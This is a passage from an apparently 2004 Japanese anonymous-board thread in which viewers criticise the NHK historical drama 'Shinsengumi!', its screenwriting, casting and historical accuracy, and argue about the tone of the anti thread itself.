せいぜい芹沢存命中に大阪で浪士と戦ったのと池田屋、禁門の変くらい。
あとは捨助と鬼ごっこしてるのが何回か。
仲間内で殺しあってる印象のほうがはるかにデカイ。
全49回のドラマにしては新選組の市中巡察の描写が薄いし
隊士達が普段どんな公務についてたのかが分かりにくい。
永倉と原田なんか組長なのに昼日中から汁粉食ってるか屯所でダラダラしてるか。
あの二人が隊士を引き連れて巡察してる姿を見た記憶がない。
いつも非番なんすか？
けっきょく死番制度にも一度も触れなかったし。
新選組には同士討ちの他にも公務で見せ場がいっぱいあるのに。
三条制札事件とか石蔵屋事件とか
播磨屋で佐々木六角源氏一味25名を捕縛した事件とか
天満屋事件とか。
何故かこういう公務の描写を徹底的にスルーしてるから
新選組って粛清以外に京都で何やったの？って印象だけが残る。
はっきり言って新選組が敵対勢力と戦ってる描写って極端に少ないよな。
せいぜい芹沢存命中に大阪で浪士と戦ったのと池田屋、禁門の変くらい。
あとは捨助と鬼ごっこしてるのが何回か。
仲間内で殺しあってる印象のほうがはるかにデカイ。
全49回のドラマにしては新選組の市中巡察の描写が薄いし
隊士達が普段どんな公務についてたのかが分かりにくい。
永倉と原田なんか組長なのに昼日中から汁粉食ってるか屯所でダラダラしてるか。
あの二人が隊士を引き連れて巡察してる姿を見た記憶がない。
いつも非番なんすか？
けっきょく死番制度にも一度も触れなかったし。
新選組には同士討ちの他にも公務で見せ場がいっぱいあるのに。
三条制札事件とか石蔵屋事件とか
播磨屋で佐々木六角源氏一味25名を捕縛した事件とか
天満屋事件とか。
何故かこういう公務の描写を徹底的にスルーしてるから
新選組って粛清以外に京都で何やったの？って印象だけが残る。
854 ：名無しさん＠お腹いっぱい。：04/11/08 15:36:38 ID:1zG/bYnG
平助あぼーんのビデオをやっと観た。
平助の殺陣と演技はまあまあだったけど、相変わらずご都合主義のダメ脚本だったな…。
平助の殺陣と演技はまあまあだったけど、相変わらずご都合主義のダメ脚本だったな…。
855 ：名無しさん＠お腹いっぱい。：04/11/08 15:41:25 ID:fBF1UZXW
>>851
もっといえば、三谷の不真面目なドラマづくりに腹が立つ。
まず自分の仲良し役者を知名度を上げる為としか思えない、時代劇
なんかやったことがない小劇場のオチャラケ役者の多用。
しかもその大根役者に見せ場をつくるためにわざわざツマランエピ
ソードを取り上げるというアザとさ。
しかし所詮、大根役者どもの時代劇経験がない悲しさでちょんまげ
学芸会にしか見えない。
三谷仲良しの大根役者どもも、今は名前が売れたと喜んでいるかも
しれないが、世間をなめちゃああかんぜよ！
もっといえば、三谷の不真面目なドラマづくりに腹が立つ。
まず自分の仲良し役者を知名度を上げる為としか思えない、時代劇
なんかやったことがない小劇場のオチャラケ役者の多用。
しかもその大根役者に見せ場をつくるためにわざわざツマランエピ
ソードを取り上げるというアザとさ。
しかし所詮、大根役者どもの時代劇経験がない悲しさでちょんまげ
学芸会にしか見えない。
三谷仲良しの大根役者どもも、今は名前が売れたと喜んでいるかも
しれないが、世間をなめちゃああかんぜよ！
856 ：名無しさん＠お腹いっぱい。：04/11/08 15:52:09 ID:FECZ+0O7
>>843サンクス！！
857 ：名無しさん＠お腹いっぱい。：04/11/08 15:54:08 ID:fBF1UZXW
858 ：名無しさん＠お腹いっぱい。：04/11/08 16:06:31 ID:dLIfdC4Z
水戸方が、驚愕して扇子を落とすという
センスのない演出に笑った
センスのない演出に笑った
859 ：名無しさん＠お腹いっぱい。：04/11/08 16:34:16 ID:7YsaQueL
マンセーばかりも奇もいけど、ここで安置一筋に見続けてる人がいたらすごすぎ。
あ、でも一年見続けてくれたことに感謝。ある意味尊敬。
あ、でも一年見続けてくれたことに感謝。ある意味尊敬。
860 ：名無しさん＠お腹いっぱい。：04/11/08 16:48:01 ID:rxr08D8I
861 ：830：04/11/08 16:58:36 ID:aGi2btJD
>841 ありがとう。読んでくれて嬉しいよ。
それから、サイトの晒しはやめて。
ドラマの安置論議だけにして。
NHKに受信料払う小さなスポンサーとして、世の中への影響なんかを知るために
注視して何が悪いかな。
自分の僅かだけれど、受信料が納得出来ない事に使われているのなら、一言
もの申しても良いと思うよ、使い込みもそうだし、史実を愚弄するドラマ作りにしてもそう。
それから、サイトの晒しはやめて。
ドラマの安置論議だけにして。
NHKに受信料払う小さなスポンサーとして、世の中への影響なんかを知るために
注視して何が悪いかな。
自分の僅かだけれど、受信料が納得出来ない事に使われているのなら、一言
もの申しても良いと思うよ、使い込みもそうだし、史実を愚弄するドラマ作りにしてもそう。
862 ：名無しさん＠お腹いっぱい。：04/11/08 17:02:46 ID:R5rU2HqV
数週間前までは、史実との違いも捏造も受け入れた上で
楽しんで見てた。最近になってアンチというか、
批判をせずにいられなくなったって人を、ここではよく見る。
自分もそうだ。
楽しんで見てた。最近になってアンチというか、
批判をせずにいられなくなったって人を、ここではよく見る。
自分もそうだ。
863 ：おぼろ月夜：04/11/08 17:05:15 ID:VmuClIOW
以前、漏れは武田信玄スレに上杉謙信は源義経のヲタだった、と書いた。
では、近藤は誰のヲタだったかというと、関羽のヲタだったという。
曹操に劉備の妻といっしょに関羽は捕らえれた。劉備の妻の身の安全と引き換えに、
曹操に仕え、戦場で敵の豪傑を討ち取ると、もう恩は返したよ、とばかり関羽は劉備の
元へ帰った。近藤は関羽のそんな仁義のあるところを愛した、という。
こんかいのドラマには、触れられない逸話であった。
では、近藤は誰のヲタだったかというと、関羽のヲタだったという。
曹操に劉備の妻といっしょに関羽は捕らえれた。劉備の妻の身の安全と引き換えに、
曹操に仕え、戦場で敵の豪傑を討ち取ると、もう恩は返したよ、とばかり関羽は劉備の
元へ帰った。近藤は関羽のそんな仁義のあるところを愛した、という。
こんかいのドラマには、触れられない逸話であった。
864 ：名無しさん＠お腹いっぱい。：04/11/08 17:09:40 ID:PstXay7V
週刊現代の見出し。
「本誌だけが知っている。松井秀喜と酒井美紀を結びつけたのは、
三谷幸喜！」
三谷君そんな事をしてる場合だったのかね。
「本誌だけが知っている。松井秀喜と酒井美紀を結びつけたのは、
三谷幸喜！」
三谷君そんな事をしてる場合だったのかね。
865 ：名無しさん＠お腹いっぱい。：04/11/08 17:23:25 ID:o0d3OdV2
週刊現代にマジになっても。
関係ないけど、別ソースでは徳光が紹介したってことになってたけどな。
関係ないけど、別ソースでは徳光が紹介したってことになってたけどな。
866 ：名無しさん＠お腹いっぱい。：04/11/08 17:32:55 ID:7g8hhZk/
マジになってないよー
867 ：名無しさん＠お腹いっぱい。：04/11/08 17:38:07 ID:40YNlQO9
>>861
>注視して何が悪いかな。
別に構わないけど、つまらない時間の使い方だとは思う。
好きでもないドラマをわざわざ見て、感想をアップする時間
があったら、もっと他のことに時間を使えばいいのに、
と素朴に思ってしまう。
>注視して何が悪いかな。
別に構わないけど、つまらない時間の使い方だとは思う。
好きでもないドラマをわざわざ見て、感想をアップする時間
があったら、もっと他のことに時間を使えばいいのに、
と素朴に思ってしまう。
868 ：名無しさん＠お腹いっぱい。：04/11/08 18:04:23 ID:VNJpSDFH
掲示板なんだから、批判的意見だろうが、ドラマの感想なんだから
書き込んでいいと思う。
マンセー意見だけ聞いていたいのなら、ファンサイトへ行けばいい。
そういうのだけでない、好評・不評ともありの本音を書き込めるあたりが
２ちゃんの需用の理由のうちの一つ。
見たドラマが面白ければ褒めるしつまらなければ批判する。
この「新撰組」も面白い時やいい所もあるけれど、
酷い回や欠点もある。最近の数回とか主役とか。
書き込んでいいと思う。
マンセー意見だけ聞いていたいのなら、ファンサイトへ行けばいい。
そういうのだけでない、好評・不評ともありの本音を書き込めるあたりが
２ちゃんの需用の理由のうちの一つ。
見たドラマが面白ければ褒めるしつまらなければ批判する。
この「新撰組」も面白い時やいい所もあるけれど、
酷い回や欠点もある。最近の数回とか主役とか。
869 ：名無しさん＠お腹いっぱい。：04/11/08 18:12:48 ID:40YNlQO9
870 ：名無しさん＠お腹いっぱい。：04/11/08 18:41:38 ID:XCqqk1le
自分は>>855のような、じじい役者の叩きコメントをちょいと改造みたいな決まりきった侮辱
（叩き、というものではない。既に）が、あまりにも何回も何回もコピペかと思うほどお決まりな内容で出てくるので、
ひそかに長期計画の壮大なネタなのか、もしくは、第１回目を途中まで見たっきりその後は見てない時代劇オタクのお爺ちゃんが、
ヒマな日曜月曜に思い出しては慣れない手つきでコピペしてるのか、この終盤までくるとすごく気になってきている。
『学芸会』って言葉がもう、古い！30半ばまでの人間ならまず使わない。 そして、『仲良し役者！』 臭い臭い、きっつー！
昭和30～４0年に固まった価値観から抜けだせないんだな。それとも20年代？
『世間をなめちゃああかん』って、アンタがこの世でそれを見守る時間は残り少ないし、
万が一100歳すぎまで生きようと、世間が三谷総スカンというあんただけのドリームがかなう事も絶対ありませんから。残念！ w
ヨメと孫にでも「偏屈ジジイ」と総スカンくらいながら、ひそかに2ちゃん世界で煽りを頑張ってください。
（叩き、というものではない。既に）が、あまりにも何回も何回もコピペかと思うほどお決まりな内容で出てくるので、
ひそかに長期計画の壮大なネタなのか、もしくは、第１回目を途中まで見たっきりその後は見てない時代劇オタクのお爺ちゃんが、
ヒマな日曜月曜に思い出しては慣れない手つきでコピペしてるのか、この終盤までくるとすごく気になってきている。
『学芸会』って言葉がもう、古い！30半ばまでの人間ならまず使わない。 そして、『仲良し役者！』 臭い臭い、きっつー！
昭和30～４0年に固まった価値観から抜けだせないんだな。それとも20年代？
『世間をなめちゃああかん』って、アンタがこの世でそれを見守る時間は残り少ないし、
万が一100歳すぎまで生きようと、世間が三谷総スカンというあんただけのドリームがかなう事も絶対ありませんから。残念！ w
ヨメと孫にでも「偏屈ジジイ」と総スカンくらいながら、ひそかに2ちゃん世界で煽りを頑張ってください。
871 ：830：04/11/08 18:54:02 ID:aGi2btJD
すげぇ。。。釣りだらけ。
ドラマ見る自由は自分で決めマース。
そろそろ遁走 ε＝(ﾉ‥)ﾉ
ドラマ見る自由は自分で決めマース。
そろそろ遁走 ε＝(ﾉ‥)ﾉ
872 ：830：04/11/08 18:56:46 ID:aGi2btJD
アンチスレ来て、アンチを叩く愚鈍かな。
一句出来て退散ーーーー！（・ω・；）ノノ
873 ：名無しさん＠お腹いっぱい。：04/11/08 18:59:55 ID:MdRJ4akf
荒らしがいるｗ
874 ：名無しさん＠お腹いっぱい。：04/11/08 19:02:13 ID:59FSkWeI
875 ：名無しさん＠お腹いっぱい。：04/11/08 19:08:21 ID:j0YMXkee
876 ：名無しさん＠お腹いっぱい。：04/11/08 19:12:51 ID:HGNCEgUo
>>860
自分は大河ファンではないが、三谷脚本だというから見てきた。
伏線引きまくり、登場人物の思惑錯綜しまくりの大河かと思ってたし。
「振り返れば～」の司馬みたいなアンチヒーローっぽく描くのかとも思ってた。
蓋開ければ文化祭コントてんこもりの駄作だった。
若い世代にも年配の世代にも楽しめる新しい大河を目指したようだけど
結果的にはどっちからもそっぽ向かれた状態だな。
やっぱキャストは芝居一本に活動してる人だけで固めた方がいいんじゃないかと思う。
自分は大河ファンではないが、三谷脚本だというから見てきた。
伏線引きまくり、登場人物の思惑錯綜しまくりの大河かと思ってたし。
「振り返れば～」の司馬みたいなアンチヒーローっぽく描くのかとも思ってた。
蓋開ければ文化祭コントてんこもりの駄作だった。
若い世代にも年配の世代にも楽しめる新しい大河を目指したようだけど
結果的にはどっちからもそっぽ向かれた状態だな。
やっぱキャストは芝居一本に活動してる人だけで固めた方がいいんじゃないかと思う。
877 ：名無しさん＠お腹いっぱい。：04/11/08 19:24:57 ID:BOyQEZGc
＞853
いちおう一話の料亭やなぎ斬り込みもある。
まぁ、あのシーンは異次元世界の話ということに落ち着いているみたいだけどw
新選組って記録を調べていくと、史実でもかなり地味に活躍してるんだよな。
池田屋以外は何の功績もない無能集団のように思ってる人もいるけど決してそんな事はないわけで。
三谷が新選組の公務を描かなかったのは時間がなかったからなのか何なのか
よくわからんけど、ドラマ的にはかなり勿体ないわな。
せっかく一年あったのに。
ところで佐々木六角某とやらの事件のことは初耳だった。色々あったのね。
いちおう一話の料亭やなぎ斬り込みもある。
まぁ、あのシーンは異次元世界の話ということに落ち着いているみたいだけどw
新選組って記録を調べていくと、史実でもかなり地味に活躍してるんだよな。
池田屋以外は何の功績もない無能集団のように思ってる人もいるけど決してそんな事はないわけで。
三谷が新選組の公務を描かなかったのは時間がなかったからなのか何なのか
よくわからんけど、ドラマ的にはかなり勿体ないわな。
せっかく一年あったのに。
ところで佐々木六角某とやらの事件のことは初耳だった。色々あったのね。
878 ：名無しさん＠お腹いっぱい。：04/11/08 19:38:13 ID:FECZ+0O7
アンチスレもあると初心者（漏れ）はより深く楽しめるよ
ミーハー気分（知識ゼロ）で大河ドラマ見て興味もって
２ちゃんねるで板を探して見て
アンチスレ見て「うーん幕末って深いね！！」って
より興味をもつわけよ(;´Д｀)
ミーハー気分（知識ゼロ）で大河ドラマ見て興味もって
２ちゃんねるで板を探して見て
アンチスレ見て「うーん幕末って深いね！！」って
より興味をもつわけよ(;´Д｀)
879 ：名無しさん＠お腹いっぱい。：04/11/08 19:48:04 ID:8Utj3ddv
880 ：名無しさん＠お腹いっぱい。：04/11/08 19:57:34 ID:hMkklvKj
>879
日本史板ってちょいと危ないだろ。
できれば、個人で調べた方がいい。
日本史板ってちょいと危ないだろ。
できれば、個人で調べた方がいい。
881 ：名無しさん＠お腹いっぱい。：04/11/08 20:04:00 ID:ODEmE5hj
882 ：名無しさん＠お腹いっぱい。：04/11/08 20:31:43 ID:DFaLskse
俺の思うところ初期のころからアンチスレに書き込みをして現在も居座ってるヤシは
全体の一割にも満たないだろう。てか、それ以上の数がいたら粘着キツ過ぎてコワい。
今中心になって書き込んでるものの多くは
当初はそれなりに期待を持って見ていたが番組が進むにつれて失望に変わり
半分以上過ぎた段階で怒りの持っていきどころがなくてアンチスレにたどり着いた、
という感じじゃないかと思う。（それ以外の人も当然それなりにいるだろうが）
俺を例にすれば、ヲタとまでいかずともそこそこの三谷ファンが
「多摩編つまらんけど京都までいけば…」
「京都来ても相変わらずだが芹沢暗殺後はさすがにあの近藤も…」
「……いや池田屋だし……うーむ、期待していいんだろうか…」
「…………もう無理ぽ…」
……という次第である。
かわいさ余って憎さ当社比250％、というか
「三谷反省汁、もう大河に関わるな」というか…
全体の一割にも満たないだろう。てか、それ以上の数がいたら粘着キツ過ぎてコワい。
今中心になって書き込んでるものの多くは
当初はそれなりに期待を持って見ていたが番組が進むにつれて失望に変わり
半分以上過ぎた段階で怒りの持っていきどころがなくてアンチスレにたどり着いた、
という感じじゃないかと思う。（それ以外の人も当然それなりにいるだろうが）
俺を例にすれば、ヲタとまでいかずともそこそこの三谷ファンが
「多摩編つまらんけど京都までいけば…」
「京都来ても相変わらずだが芹沢暗殺後はさすがにあの近藤も…」
「……いや池田屋だし……うーむ、期待していいんだろうか…」
「…………もう無理ぽ…」
……という次第である。
かわいさ余って憎さ当社比250％、というか
「三谷反省汁、もう大河に関わるな」というか…
883 ：名無しさん＠お腹いっぱい。：04/11/08 20:45:08 ID:IvdkIVJf
>>882
あんたと同じだ。
私の場合、もう無理ぽ…と思いながらも、あの最後の駄目押し油小路を経てもなお、
最終回に向けて最後の望みを実はまだ持っている。
まあ、ここまできたら最後まで見るさ。笑ってくれていいよ。あははン♪
あんたと同じだ。
私の場合、もう無理ぽ…と思いながらも、あの最後の駄目押し油小路を経てもなお、
最終回に向けて最後の望みを実はまだ持っている。
まあ、ここまできたら最後まで見るさ。笑ってくれていいよ。あははン♪
884 ：名無しさん＠お腹いっぱい。：04/11/08 20:56:37 ID:1LmXSdLh
ドラマと言ってしまえばそれまでだが、坂本やヒュースケンを助けようとしたり、
薩長軍との戦いを避けようとするのは、本来の近藤の意志に反するだろうに…
主人公とはいえ、美化する方向が違うんじゃないか？
そのくせ、新撰組の悲劇性を利用しようというのは気に食わん
薩長軍との戦いを避けようとするのは、本来の近藤の意志に反するだろうに…
主人公とはいえ、美化する方向が違うんじゃないか？
そのくせ、新撰組の悲劇性を利用しようというのは気に食わん
885 ：名無しさん＠お腹いっぱい。：04/11/08 21:52:16 ID:VaXiFiVB
三谷ファン（or三谷軍団）
香取
オダギリジョー
ヲタはもうスレから出てこなくていいと思うんだけど
歴代大河ドラマファンで今回（と前回）もうまるで駄目駄目、な人いる？
そういう人の真摯な批評が聞きたい。
自分はなんとなくずーっと見てる人間だし、歴史関係も一般常識程度しかしらないから。
香取
オダギリジョー
ヲタはもうスレから出てこなくていいと思うんだけど
歴代大河ドラマファンで今回（と前回）もうまるで駄目駄目、な人いる？
そういう人の真摯な批評が聞きたい。
自分はなんとなくずーっと見てる人間だし、歴史関係も一般常識程度しかしらないから。
886 ：名無しさん＠お腹いっぱい。：04/11/08 21:57:54 ID:Vnph+7QS
まあ、後一回で最終回だから
「源さん、死す」で実質的に終わりだよ
源さんの壮烈な戦死で新選組は終わり！
近藤の斬首なんて見てもつまらんよ～
「源さん、死す」で実質的に終わりだよ
源さんの壮烈な戦死で新選組は終わり！
近藤の斬首なんて見てもつまらんよ～
887 ：名無しさん＠お腹いっぱい。：04/11/08 22:08:08 ID:UnkoMsCD
ふと思ったので初カキコ
自分みたいに一回も（正確には１分１秒も）ドラマを見てないのに
アンチスレを最初からのぞき続けている人っているのかな？
まあのぞくのは月曜日の夜だけだけど
自分みたいに一回も（正確には１分１秒も）ドラマを見てないのに
アンチスレを最初からのぞき続けている人っているのかな？
まあのぞくのは月曜日の夜だけだけど
888 ：名無しさん＠お腹いっぱい。：04/11/08 22:08:26 ID:OHolhiWe
>>886
戦死と言っても、どうせスタジオの中だろ
戦死と言っても、どうせスタジオの中だろ
889 ：名無しさん＠お腹いっぱい。：04/11/08 22:13:22 ID:XCpUd2ot
890 ：名無しさん＠お腹いっぱい。：04/11/08 22:16:43 ID:UnkoMsCD
>889
利家とまつで途中脱落だよ。
ちなみに独眼竜政宗からずーっと大河見てた。
利家とまつで途中脱落だよ。
ちなみに独眼竜政宗からずーっと大河見てた。
891 ：名無しさん＠お腹いっぱい。：04/11/08 23:13:16 ID:OMvCJFwR
>>890
IDが(･∀･)ｳﾝｺｰ
IDが(･∀･)ｳﾝｺｰ
892 ：名無しさん＠お腹いっぱい。：04/11/08 23:58:31 ID:nr+s4GEx
>>890
しかもMsでCD
しかもMsでCD
893 ：名無しさん＠お腹いっぱい。：04/11/08 23:59:23 ID:kD1PhG5W
今晩の本スレｷﾓ杉だから
ﾁｮｲと避難。
ﾁｮｲと避難。
894 ：名無しさん＠お腹いっぱい。：04/11/09 00:09:50 ID:pbr9adNC
>>894
同じく。
同じく。
895 ：名無しさん＠お腹いっぱい。：04/11/09 00:10:16 ID:pbr9adNC
>>893へ同じく、ですた。
896 ：名無しさん＠お腹いっぱい。：04/11/09 00:13:25 ID:+e6gt+/Q
アンチ版なので何を言ってもしょうがないかもしれないが敢えて書かせてください。
私は、アンチでもヲタでもない、単なる傍観者ですが、
最近のアンチレスは何というか品がなさ過ぎます。
確かに香取の演技は今一だし、ヤマコーも一本調子だし、
ストーリ展開にも無理がありまくりで、毎週、おいおいという感じの大河ではありますが、
アンチスレと言えども、
何かもう少し中立的な香具師がみて、「なるほど」と思えるようなレスをして欲しいものです。
まあ>>870の指摘の仕方はさておき、何かこの前辺りでカタカナ混じりで感情的な叩きをしている人など、
読んでいて恥ずかしくさえなってきます。
本スレとか役者別のスレみて、「ああ～、こんな穿った見方もあるもんだねw」と思い、
アンチスレを見て、「ああ～、こんな解釈もあるもんだね。」と思ったりするのが、
単なる惰性で毎年（除く『武蔵』）大河を見ている私の楽しみなのですからから、もう少しまともな批判をして下さい。
「最近」とは言っても、この板の最初の方のコピペの品のなさが板全体に蔓延しているのかもしれませんが。
（やはり、こういう人が、アンチの人なのかと思ってしまいます。）
次スレでは、アンチの意地を見せてください。長文すいません。
私は、アンチでもヲタでもない、単なる傍観者ですが、
最近のアンチレスは何というか品がなさ過ぎます。
確かに香取の演技は今一だし、ヤマコーも一本調子だし、
ストーリ展開にも無理がありまくりで、毎週、おいおいという感じの大河ではありますが、
アンチスレと言えども、
何かもう少し中立的な香具師がみて、「なるほど」と思えるようなレスをして欲しいものです。
まあ>>870の指摘の仕方はさておき、何かこの前辺りでカタカナ混じりで感情的な叩きをしている人など、
読んでいて恥ずかしくさえなってきます。
本スレとか役者別のスレみて、「ああ～、こんな穿った見方もあるもんだねw」と思い、
アンチスレを見て、「ああ～、こんな解釈もあるもんだね。」と思ったりするのが、
単なる惰性で毎年（除く『武蔵』）大河を見ている私の楽しみなのですからから、もう少しまともな批判をして下さい。
「最近」とは言っても、この板の最初の方のコピペの品のなさが板全体に蔓延しているのかもしれませんが。
（やはり、こういう人が、アンチの人なのかと思ってしまいます。）
次スレでは、アンチの意地を見せてください。長文すいません。
897 ：名無しさん＠お腹いっぱい。：04/11/09 00:15:42 ID:3TmngpwB
「戦で負けたことはありません」なんてセリフをよく言わせたもんだ。
どの回のことを言ってるんだか。
どの回のことを言ってるんだか。
898 ：名無しさん＠お腹いっぱい。：04/11/09 00:20:22 ID:jK0Dacvl
899 ：名無しさん＠お腹いっぱい。：04/11/09 00:42:39 ID:rcRUR0jK
>>896
品がないのが悪目立ちしてるだけじゃないの？
まともな意見を言っている人は、以前からまともなカキコしてるでしょ。
品のない香具師らに、私を楽しませるようなカキコして!!と言ってもそりゃ無理かもね。
しかもこれはアンチ版だから無理ってことではないし。
品がないのが悪目立ちしてるだけじゃないの？
まともな意見を言っている人は、以前からまともなカキコしてるでしょ。
品のない香具師らに、私を楽しませるようなカキコして!!と言ってもそりゃ無理かもね。
しかもこれはアンチ版だから無理ってことではないし。
900 ：名無しさん＠お腹いっぱい。：04/11/09 00:49:59 ID:mAB/bFih
>>896
とりあえず100レス以内では
>>809 >>819-826 >>830-831 >>843 >>853
あたりはまともなので、批判が読みたいならどうぞ。
香取は台詞回しは相変わらず稚拙だが、意外なことに
年齢を重ねて老けた感はそれなりによく出てる。
骨格がゴツイのでメイクと表情次第でかなり老けて見えるのだね。
このドラマ、やはり問題は脚本だな。
特に主人公周り。脇はそれなりに巧い。
>>91は一見ネタのように見えて
このドラマの問題点をかなりストレートに著してる。
というわけで900ｹﾞｯﾄ
とりあえず100レス以内では
>>809 >>819-826 >>830-831 >>843 >>853
あたりはまともなので、批判が読みたいならどうぞ。
香取は台詞回しは相変わらず稚拙だが、意外なことに
年齢を重ねて老けた感はそれなりによく出てる。
骨格がゴツイのでメイクと表情次第でかなり老けて見えるのだね。
このドラマ、やはり問題は脚本だな。
特に主人公周り。脇はそれなりに巧い。
>>91は一見ネタのように見えて
このドラマの問題点をかなりストレートに著してる。
というわけで900ｹﾞｯﾄ
901 ：名無しさん＠お腹いっぱい。：04/11/09 01:31:25 ID:J6bZFGiR
このスレに乗り込む信者は何がしたいんだ、一体・・・。
煽ってんのか？だったら釣られてスマン。
煽ってんのか？だったら釣られてスマン。
902 ：名無しさん＠お腹いっぱい。：04/11/09 01:35:29 ID:+TVBQlvi
903 ：名無しさん＠お腹いっぱい。：04/11/09 01:36:16 ID:/xEmj+Ro
相変わらず平和主義者の近藤ですな。水戸藩の重臣が言ったセリフは、ひどもかった
かもしれんが、確かにそんとおり、って思った。近藤の「人斬ってきたけど、お手
前らは・・・」のセリフもご尤も。だったらそれで貫いて欲しい。
近藤が次第に政治に無邪気に憧れ、土方とは趣が違ったのは確かだがちょっとやり
過ぎ・・・かなぁ。
かもしれんが、確かにそんとおり、って思った。近藤の「人斬ってきたけど、お手
前らは・・・」のセリフもご尤も。だったらそれで貫いて欲しい。
近藤が次第に政治に無邪気に憧れ、土方とは趣が違ったのは確かだがちょっとやり
過ぎ・・・かなぁ。
904 ：名無しさん＠お腹いっぱい。：04/11/09 01:55:13 ID:8mED4vlD
俺の意見は853に近いな
「新選組！」と言いながら実際新選組は何をしたのか印象が薄い変なドラマだ
それでいて終盤に御公務御公務叫ばれてもな・・・
青春群像劇に比重を置きすぎだ
そしてその青春群像劇の主役を近藤というのは難しかったんじゃないのかと
ああいう描き方をするなら沖田あたりを主役にした方が収まりが良かった気がする
「新選組！」と言いながら実際新選組は何をしたのか印象が薄い変なドラマだ
それでいて終盤に御公務御公務叫ばれてもな・・・
青春群像劇に比重を置きすぎだ
そしてその青春群像劇の主役を近藤というのは難しかったんじゃないのかと
ああいう描き方をするなら沖田あたりを主役にした方が収まりが良かった気がする
905 ：名無しさん＠お腹いっぱい。：04/11/09 02:02:30 ID:7rZCS6yr
ホント理解出来ないんだけど、今回も近藤の考え（「戦わず」、を慶喜に進言）は
直前に広澤や永井に頼まれたからそう言った、みたいな流れになってて。
わざとなの？ それが理解出来ない。
自分の考えがないバカに見せたいのか、（やっと）時勢に詳しいカッコいいリーダーに
見せたいのか、どっちつかずな構成で。
直前に広澤や永井に頼まれたからそう言った、みたいな流れになってて。
わざとなの？ それが理解出来ない。
自分の考えがないバカに見せたいのか、（やっと）時勢に詳しいカッコいいリーダーに
見せたいのか、どっちつかずな構成で。
906 ：名無しさん＠お腹いっぱい。：04/11/09 02:11:24 ID:reg4y9wk
先週の回から、死んだ龍馬が「親友」近藤に乗り移ったってことで。
907 ：名無しさん＠お腹いっぱい。：04/11/09 02:20:05 ID:mAB/bFih
細かいツッコミ入れると
近藤が
「日本でただ一人坂本さんだけが戦を避けようとしていた！」
と力説してたけど
あんたらが殺した伊東甲子太郎も反戦派だったんですよ、と。
まぁこの大河じゃ「伊東が死んだのは不可抗力」みたいなことになってるし
そもそも伊東が反戦だったこと自体が説明されてないけど。
近藤が
「日本でただ一人坂本さんだけが戦を避けようとしていた！」
と力説してたけど
あんたらが殺した伊東甲子太郎も反戦派だったんですよ、と。
まぁこの大河じゃ「伊東が死んだのは不可抗力」みたいなことになってるし
そもそも伊東が反戦だったこと自体が説明されてないけど。
908 ：名無しさん＠お腹いっぱい。：04/11/09 04:29:09 ID:f/I45QyG
近藤を無理に歴史の大舞台に絡ませようとするから不具合が生じちゃうんだよな
例えていうなら、死んでるはずの武将にマフラーさせてモンゴル帝国に絡ませたり
北陸の一大名の妻を信長秀吉に絡ませたり、百戦錬磨の剣豪に大坂の陣を絡ませたり。
例えていうなら、死んでるはずの武将にマフラーさせてモンゴル帝国に絡ませたり
北陸の一大名の妻を信長秀吉に絡ませたり、百戦錬磨の剣豪に大坂の陣を絡ませたり。
909 ：名無しさん＠お腹いっぱい。：04/11/09 05:06:44 ID:pbr9adNC
やっぱり主人公が香取なのがネックになっているのでは？
演技の幅が狭いから、それをフォローしようとして脚本に無理が出る。
別にジャニタレ主演でもそれなりに演技力があるなり役に嵌るなり
していればいいんだけどね。
全般的にはこの大河好きだけど香取ヲタの盲目さに辟易として
こっちのスレに移ってしまいました。
演技の幅が狭いから、それをフォローしようとして脚本に無理が出る。
別にジャニタレ主演でもそれなりに演技力があるなり役に嵌るなり
していればいいんだけどね。
全般的にはこの大河好きだけど香取ヲタの盲目さに辟易として
こっちのスレに移ってしまいました。
910 ：名無しさん＠お腹いっぱい。：04/11/09 05:37:33 ID:FibXDYeb
香取の本来のキャラってのは
兄（他のSMAPメンバー）たちをバカにしたり困らせたりして少しなまいきだけど
なんとなく愛嬌があって憎めない弟、という印象だな。
滑舌が悪くモゴモゴとした発音とか細かな表現力の不足とか役者としては欠点が多すぎるんだが、
本来のキャラに近い突き抜けた明るさのようなものを演じさせることができれば
ヘタはヘタなりにドラマの中でポジションが取れたような気がする。
そもそも香取主役という発想が間違いなんだが
新選組で香取を主要キャラに起用するならまだ沖田でも演らしたほうがマシだったろう。
兄（他のSMAPメンバー）たちをバカにしたり困らせたりして少しなまいきだけど
なんとなく愛嬌があって憎めない弟、という印象だな。
滑舌が悪くモゴモゴとした発音とか細かな表現力の不足とか役者としては欠点が多すぎるんだが、
本来のキャラに近い突き抜けた明るさのようなものを演じさせることができれば
ヘタはヘタなりにドラマの中でポジションが取れたような気がする。
そもそも香取主役という発想が間違いなんだが
新選組で香取を主要キャラに起用するならまだ沖田でも演らしたほうがマシだったろう。
911 ：名無しさん＠お腹いっぱい。：04/11/09 05:38:11 ID:XZjOTJv/
三谷の脚本はツマラナいうえに、クドい。
昔、某作家が｢大衆相手の芝居は、大切な事は三回くり返さないと理解されない」
と言っていた。
｢浅草が火事だぞ！｣「えっ、浅草が火事？｣「火事は浅草だってよ」・・・
三谷は、面白くも大切でもない事を何度も繰り返すので、見ていてイライラする。
昔、某作家が｢大衆相手の芝居は、大切な事は三回くり返さないと理解されない」
と言っていた。
｢浅草が火事だぞ！｣「えっ、浅草が火事？｣「火事は浅草だってよ」・・・
三谷は、面白くも大切でもない事を何度も繰り返すので、見ていてイライラする。
912 ：名無しさん＠お腹いっぱい。：04/11/09 06:33:04 ID:8V2CwiFN
「ほうきが逆さになってるぞ！」「えっ、ほうきが？」「何でほうきが逆さに…」
なるほど。
なるほど。
913 ：名無しさん＠お腹いっぱい。：04/11/09 06:44:28 ID:SQwiPjIj
>>910
何となく分かる。香取ってSMAPの中で"末っ子"のポジションだからね。
翻って、新選組というのは近藤＝長男、土方＝次男、沖田＝三男の三人兄弟を中心にした
話なわけで、末っ子気質の香取に長男役をやらせるのは完全にミスキャスト。
何となく分かる。香取ってSMAPの中で"末っ子"のポジションだからね。
翻って、新選組というのは近藤＝長男、土方＝次男、沖田＝三男の三人兄弟を中心にした
話なわけで、末っ子気質の香取に長男役をやらせるのは完全にミスキャスト。
914 ：名無しさん＠お腹いっぱい。：04/11/09 08:23:49 ID:pGQ1u6na
この大河で初めて新選組の事を知った人もいるだろう。
そういう人が近藤の行動に疑問を感じもっと新選組の事をよく知りたくなって
過去の映画・ドラマや小説に触れたり、文献を探ってみたりすれば・・。
この新選組!はそういう入門編としては及第点かな、という気がしてきた。
人物の描写はともかく、隊士の絡むエピソードなどはいちおう出来事として拾ってあるしね。
言ってしまうと女子供向け、ということになってしまう訳だが
